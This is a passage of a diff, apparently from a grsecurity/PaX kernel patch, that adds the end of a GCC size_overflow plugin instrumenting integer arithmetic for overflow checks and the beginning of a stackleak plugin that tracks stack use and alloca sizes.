++	gsi = gsi_for_stmt(stmt);
++	cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	new_rhs = gimple_get_lhs(cast_stmt);
++
++	if (mode == DImode)
++		return new_rhs;
++
++	check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT);
++
++	return new_rhs;
++}
++
++static bool is_an_integer_trunction(const_gimple stmt)
++{
++	gimple rhs1_def_stmt, rhs2_def_stmt;
++	const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1;
++	enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode;
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs2 = gimple_assign_rhs2(stmt);
++	enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1));
++	enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2));
++
++	if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2))
++		return false;
++
++	gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME);
++
++	if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode)
++		return false;
++
++	rhs1_def_stmt = get_def_stmt(rhs1);
++	rhs2_def_stmt = get_def_stmt(rhs2);
++	if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt))
++		return false;
++
++	rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt);
++	rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt);
++	rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1));
++	rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1));
++	if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode)
++		return false;
++
++	gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true);
++	gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true);
++	return true;
++}
++
++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs)
++{
++	tree new_rhs1, new_rhs2;
++	tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs;
++	tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type;
++	gimple assign, stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++
++	if (!is_an_integer_trunction(stmt))
++		return NULL_TREE;
++
++	new_rhs1 = expand(visited, rhs1);
++	new_rhs2 = expand(visited, rhs2);
++
++	new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1);
++	new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2);
++
++	new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1);
++	new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1);
++
++	if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) {
++		new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1);
++		new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1);
++	}
++
++	assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1);
++	new_lhs = gimple_get_lhs(assign);
++	check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT);
++
++	return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs)
++{
++	const_gimple def_stmt;
++
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return false;
++
++	if (gimple_assign_rhs_code(stmt) != PLUS_EXPR)
++		return false;
++
++	def_stmt = get_def_stmt(rhs);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR)
++		return false;
++
++	return true;
++}
++
++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2)
++{
++	tree new_rhs, size_overflow_type, orig_rhs;
++	void (*gimple_assign_set_rhs)(gimple, tree);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++	tree lhs = gimple_get_lhs(stmt);
++
++	if (change_rhs == NULL_TREE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (new_rhs2 == NULL_TREE) {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1);
++		new_rhs2 = cast_a_tree(size_overflow_type, rhs2);
++		orig_rhs = rhs1;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs1;
++	} else {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2);
++		new_rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		orig_rhs = rhs2;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs2;
++	}
++
++	change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT);
++
++	if (check_overflow)
++		check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT);
++
++	new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs);
++	gimple_assign_set_rhs(stmt, new_rhs);
++	update_stmt(stmt);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, new_lhs;
++	gimple def_stmt = get_def_stmt(lhs);
++	tree new_rhs1 = NULL_TREE;
++	tree new_rhs2 = NULL_TREE;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++
++	/* no DImode/TImode division in the 32/64 bit kernel */
++	switch (gimple_assign_rhs_code(def_stmt)) {
++	case RDIV_EXPR:
++	case TRUNC_DIV_EXPR:
++	case CEIL_DIV_EXPR:
++	case FLOOR_DIV_EXPR:
++	case ROUND_DIV_EXPR:
++	case TRUNC_MOD_EXPR:
++	case CEIL_MOD_EXPR:
++	case FLOOR_MOD_EXPR:
++	case ROUND_MOD_EXPR:
++	case EXACT_DIV_EXPR:
++	case POINTER_PLUS_EXPR:
++	case BIT_AND_EXPR:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	default:
++		break;
++	}
++
++	new_lhs = handle_integer_truncation(visited, lhs);
++	if (new_lhs != NULL_TREE)
++		return new_lhs;
++
++	if (TREE_CODE(rhs1) == SSA_NAME)
++		new_rhs1 = expand(visited, rhs1);
++	if (TREE_CODE(rhs2) == SSA_NAME)
++		new_rhs2 = expand(visited, rhs2);
++
++	if (is_a_neg_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_neg_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	if (is_a_constant_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_constant_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++#if BUILDING_GCC_VERSION >= 4007
++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs)
++{
++	if (is_gimple_constant(rhs))
++		return cast_a_tree(size_overflow_type, rhs);
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return NULL_TREE;
++	return expand(visited, rhs);
++}
++
++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type;
++	gimple def_stmt = get_def_stmt(lhs);
++
++	size_overflow_type = get_size_overflow_type(def_stmt, lhs);
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs3 = gimple_assign_rhs3(def_stmt);
++	new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1);
++	new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2);
++	new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3);
++}
++#endif
++
++static tree get_size_overflow_type(gimple stmt, const_tree node)
++{
++	const_tree type;
++
++	gcc_assert(node != NULL_TREE);
++
++	type = TREE_TYPE(node);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return TREE_TYPE(node);
++
++	switch (TYPE_MODE(type)) {
++	case QImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node;
++	case HImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node;
++	case SImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++	case DImode:
++		if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode))
++			return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++		return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node;
++	default:
++		debug_tree((tree)node);
++		error("%s: unsupported gcc configuration.", __func__);
++		gcc_unreachable();
++	}
++}
++
++static tree expand_visited(gimple def_stmt)
++{
++	const_gimple next_stmt;
++	gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt);
++
++	gsi_next(&gsi);
++	next_stmt = gsi_stmt(gsi);
++
++	gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT));
++
++	switch (gimple_code(next_stmt)) {
++	case GIMPLE_ASSIGN:
++		return gimple_get_lhs(next_stmt);
++	case GIMPLE_PHI:
++		return gimple_phi_result(next_stmt);
++	case GIMPLE_CALL:
++		return gimple_call_lhs(next_stmt);
++	default:
++		return NULL_TREE;
++	}
++}
++
++static tree expand(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt;
++	enum tree_code code = TREE_CODE(TREE_TYPE(lhs));
++
++	if (is_gimple_constant(lhs))
++		return NULL_TREE;
++
++	if (TREE_CODE(lhs) == ADDR_EXPR)
++		return NULL_TREE;
++
++	if (code == REAL_TYPE)
++		return NULL_TREE;
++
++	gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE);
++
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return NULL_TREE;
++
++	if (gimple_plf(def_stmt, MY_STMT))
++		return lhs;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return expand_visited(def_stmt);
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		return NULL_TREE;
++	case GIMPLE_PHI:
++		return build_new_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return handle_unary_ops(visited, lhs);
++		case 3:
++			return handle_binary_ops(visited, lhs);
++#if BUILDING_GCC_VERSION >= 4007
++		case 4:
++			return handle_ternary_ops(visited, lhs);
++#endif
++		}
++	default:
++		debug_gimple_stmt(def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(origarg);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_CALL);
++
++	assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++
++	gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign));
++	update_stmt(stmt);
++}
++
++static bool get_function_arg(unsigned int* argnum, const_tree fndecl)
++{
++	const char *origid;
++	tree arg;
++	const_tree origarg;
++
++	if (!DECL_ABSTRACT_ORIGIN(fndecl))
++		return true;
++
++	origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl));
++	while (origarg && *argnum) {
++		(*argnum)--;
++		origarg = TREE_CHAIN(origarg);
++	}
++
++	gcc_assert(*argnum == 0);
++
++	gcc_assert(origarg != NULL_TREE);
++	origid = NAME(origarg);
++	*argnum = 0;
++	for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) {
++		if (!strcmp(origid, NAME(arg)))
++			return true;
++		(*argnum)++;
++	}
++	return false;
++}
++
++static bool skip_types(const_tree var)
++{
++	switch (TREE_CODE(var)) {
++		case ADDR_EXPR:
++#if BUILDING_GCC_VERSION >= 4006
++		case MEM_REF:
++#endif
++		case ARRAY_REF:
++		case BIT_FIELD_REF:
++		case INDIRECT_REF:
++		case TARGET_MEM_REF:
++		case VAR_DECL:
++			return true;
++		default:
++			break;
++	}
++	return false;
++}
++
++static bool walk_phi(struct pointer_set_t *visited, const_tree result)
++{
++	gimple phi = get_def_stmt(result);
++	unsigned int i, n = gimple_phi_num_args(phi);
++
++	if (!phi)
++		return false;
++
++	pointer_set_insert(visited, phi);
++	for (i = 0; i < n; i++) {
++		const_tree arg = gimple_phi_arg_def(phi, i);
++		if (pre_expand(visited, arg))
++			return true;
++	}
++	return false;
++}
++
++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs;
++
++	if (!def_stmt)
++		return false;
++
++	rhs = gimple_assign_rhs1(def_stmt);
++	if (pre_expand(visited, rhs))
++		return true;
++	return false;
++}
++
++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	bool rhs1_found, rhs2_found;
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs1, rhs2;
++
++	if (!def_stmt)
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs1_found = pre_expand(visited, rhs1);
++	rhs2_found = pre_expand(visited, rhs2);
++
++	return rhs1_found || rhs2_found;
++}
++
++static const_tree search_field_decl(const_tree comp_ref)
++{
++	const_tree field = NULL_TREE;
++	unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref);
++
++	for (i = 0; i < len; i++) {
++		field = TREE_OPERAND(comp_ref, i);
++		if (TREE_CODE(field) == FIELD_DECL)
++			break;
++	}
++	gcc_assert(TREE_CODE(field) == FIELD_DECL);
++	return field;
++}
++
++static enum marked mark_status(const_tree fndecl, unsigned int argnum)
++{
++	const_tree attr, p;
++
++	attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl));
++	if (!attr || !TREE_VALUE(attr))
++		return MARKED_NO;
++
++	p = TREE_VALUE(attr);
++	if (!TREE_INT_CST_LOW(TREE_VALUE(p)))
++		return MARKED_NOT_INTENTIONAL;
++
++	do {
++		if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p)))
++			return MARKED_YES;
++		p = TREE_CHAIN(p);
++	} while (p);
++
++	return MARKED_NO;
++}
++
++static void print_missing_msg(tree func, unsigned int argnum)
++{
++	unsigned int new_hash;
++	size_t len;
++	unsigned char tree_codes[CODES_LIMIT];
++	location_t loc = DECL_SOURCE_LOCATION(func);
++	const char *curfunc = get_asm_name(func);
++
++	len = get_function_decl(func, tree_codes);
++	new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0);
++	inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash);
++}
++
++static unsigned int search_missing_attribute(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	tree func = get_original_function_decl(current_function_decl);
++	unsigned int argnum;
++	const struct size_overflow_hash *hash;
++
++	gcc_assert(TREE_CODE(arg) != COMPONENT_REF);
++
++	if (TREE_CODE(type) == POINTER_TYPE)
++		return 0;
++
++	argnum = find_arg_number(arg, func);
++	if (argnum == 0)
++		return 0;
++
++	if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func)))
++		return argnum;
++
++	hash = get_function_hash(func);
++	if (!hash || !(hash->param & (1U << argnum))) {
++		print_missing_msg(func, argnum);
++		return 0;
++	}
++	return argnum;
++}
++
++static bool is_already_marked(const_tree lhs)
++{
++	unsigned int argnum;
++	const_tree fndecl;
++
++	argnum = search_missing_attribute(lhs);
++	fndecl = get_original_function_decl(current_function_decl);
++	if (argnum && mark_status(fndecl, argnum) == MARKED_YES)
++		return true;
++	return false;
++}
++
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs)
++{
++	const_gimple def_stmt;
++
++	if (is_gimple_constant(lhs))
++		return false;
++
++	if (skip_types(lhs))
++		return false;
++
++	if (TREE_CODE(lhs) == PARM_DECL)
++		return is_already_marked(lhs);
++
++	if (TREE_CODE(lhs) == COMPONENT_REF) {
++		const_tree field, attr;
++
++		field = search_field_decl(lhs);
++		attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field));
++		if (!attr || !TREE_VALUE(attr))
++			return false;
++		return true;
++	}
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return false;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return false;
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL)
++			return is_already_marked(lhs);
++		return false;
++	case GIMPLE_PHI:
++		return walk_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return false;
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return walk_unary_ops(visited, lhs);
++		case 3:
++			return walk_binary_ops(visited, lhs);
++		}
++	default:
++		debug_gimple_stmt((gimple)def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	bool is_found;
++	enum marked is_marked;
++	location_t loc;
++
++	visited = pointer_set_create();
++	is_found = pre_expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	is_marked = mark_status(fndecl, argnum + 1);
++	if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL)
++		return true;
++
++	if (is_found) {
++		loc = DECL_SOURCE_LOCATION(fndecl);
++		inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1);
++		return true;
++	}
++	return false;
++}
++
++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	tree arg, newarg;
++	bool match;
++
++	match = get_function_arg(&argnum, fndecl);
++	if (!match)
++		return;
++	gcc_assert(gimple_call_num_args(stmt) > argnum);
++	arg = gimple_call_arg(stmt, argnum);
++	if (arg == NULL_TREE)
++		return;
++
++	if (is_gimple_constant(arg))
++		return;
++
++	if (search_attributes(fndecl, arg, argnum))
++		return;
++
++	if (TREE_CODE(arg) != SSA_NAME)
++		return;
++
++	check_arg_type(arg);
++
++	visited = pointer_set_create();
++	newarg = expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	if (newarg == NULL_TREE)
++		return;
++
++	change_function_arg(stmt, arg, argnum, newarg);
++
++	check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT);
++}
++
++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl)
++{
++	tree p = TREE_VALUE(attr);
++	do {
++		handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1);
++		p = TREE_CHAIN(p);
++	} while (p);
++}
++
++static void handle_function_by_hash(gimple stmt, tree fndecl)
++{
++	tree orig_fndecl;
++	unsigned int num;
++	const struct size_overflow_hash *hash;
++
++	orig_fndecl = get_original_function_decl(fndecl);
++	if (C_DECL_IMPLICIT(orig_fndecl))
++		return;
++	hash = get_function_hash(orig_fndecl);
++	if (!hash)
++		return;
++
++	for (num = 1; num <= MAX_PARAM; num++)
++		if (hash->param & (1U << num))
++			handle_function_arg(stmt, fndecl, num - 1);
++}
++
++static void set_plf_false(void)
++{
++	basic_block bb;
++
++	FOR_ALL_BB(bb) {
++		gimple_stmt_iterator si;
++
++		for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++		for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++	}
++}
++
++static unsigned int handle_function(void)
++{
++	basic_block next, bb = ENTRY_BLOCK_PTR->next_bb;
++
++	set_plf_false();
++
++	do {
++		gimple_stmt_iterator gsi;
++		next = bb->next_bb;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			tree fndecl, attr;
++			gimple stmt = gsi_stmt(gsi);
++
++			if (!(is_gimple_call(stmt)))
++				continue;
++			fndecl = gimple_call_fndecl(stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (gimple_call_num_args(stmt) == 0)
++				continue;
++			attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl));
++			if (!attr || !TREE_VALUE(attr))
++				handle_function_by_hash(stmt, fndecl);
++			else
++				handle_function_by_attribute(stmt, attr, fndecl);
++			gsi = gsi_for_stmt(stmt);
++			next = gimple_bb(stmt)->next_bb;
++		}
++		bb = next;
++	} while (bb);
++	return 0;
++}
++
++static struct gimple_opt_pass size_overflow_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "size_overflow",
++		.gate			= NULL,
++		.execute		= handle_function,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_cfg | PROP_referenced_vars,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow
++	}
++};
++
++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data)
++{
++	tree fntype;
++
++	const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0));
++
++	// void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var)
++	fntype = build_function_type_list(void_type_node,
++					  const_char_ptr_type_node,
++					  unsigned_type_node,
++					  const_char_ptr_type_node,
++					  const_char_ptr_type_node,
++					  NULL_TREE);
++	report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype);
++
++	DECL_ASSEMBLER_NAME(report_size_overflow_decl);
++	TREE_PUBLIC(report_size_overflow_decl) = 1;
++	DECL_EXTERNAL(report_size_overflow_decl) = 1;
++	DECL_ARTIFICIAL(report_size_overflow_decl) = 1;
++	TREE_THIS_VOLATILE(report_size_overflow_decl) = 1;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	int i;
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	bool enable = true;
++
++	struct register_pass_info size_overflow_pass_info = {
++		.pass				= &size_overflow_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "no-size-overflow")) {
++			enable = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info);
++	if (enable) {
++		register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/stackleak_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/stackleak_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,313 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help implement various PaX features
++ *
++ * - track lowest stack pointer
++ *
++ * TODO:
++ * - initialize all local variables
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static int track_frame_size = -1;
++static const char track_function[] = "pax_track_stack";
++static const char check_function[] = "pax_check_alloca";
++static bool init_locals;
++
++static struct plugin_info stackleak_plugin_info = {
++	.version	= "201203140940",
++	.help		= "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n"
++//			  "initialize-locals\t\tforcibly initialize all stack frames\n"
++};
++
++static bool gate_stackleak_track_stack(void);
++static unsigned int execute_stackleak_tree_instrument(void);
++static unsigned int execute_stackleak_final(void);
++
++static struct gimple_opt_pass stackleak_tree_instrument_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "stackleak_tree_instrument",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_tree_instrument,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "stackleak_final",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_final,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func
++	}
++};
++
++static bool gate_stackleak_track_stack(void)
++{
++	return track_frame_size >= 0;
++}
++
++static void stackleak_check_alloca(gimple_stmt_iterator *gsi)
++{
++	gimple check_alloca;
++	tree fntype, fndecl, alloca_size;
++
++	fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE);
++	fndecl = build_fn_decl(check_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_check_alloca(unsigned long size)
++	alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0);
++	check_alloca = gimple_build_call(fndecl, 1, alloca_size);
++	gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT);
++}
++
++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi)
++{
++	gimple track_stack;
++	tree fntype, fndecl;
++
++	fntype = build_function_type_list(void_type_node, NULL_TREE);
++	fndecl = build_fn_decl(track_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_track_stack(void)
++	track_stack = gimple_build_call(fndecl, 0);
++	gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING);
++}
++
++#if BUILDING_GCC_VERSION == 4005
++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
++{
++	tree fndecl;
++
++	if (!is_gimple_call(stmt))
++		return false;
++	fndecl = gimple_call_fndecl(stmt);
++	if (!fndecl)
++		return false;
++	if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
++		return false;
++//	print_node(stderr, "pax", fndecl, 4);
++	return DECL_FUNCTION_CODE(fndecl) == code;
++}
++#endif
++
++static bool is_alloca(gimple stmt)
++{
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA))
++		return true;
++
++#if BUILDING_GCC_VERSION >= 4007
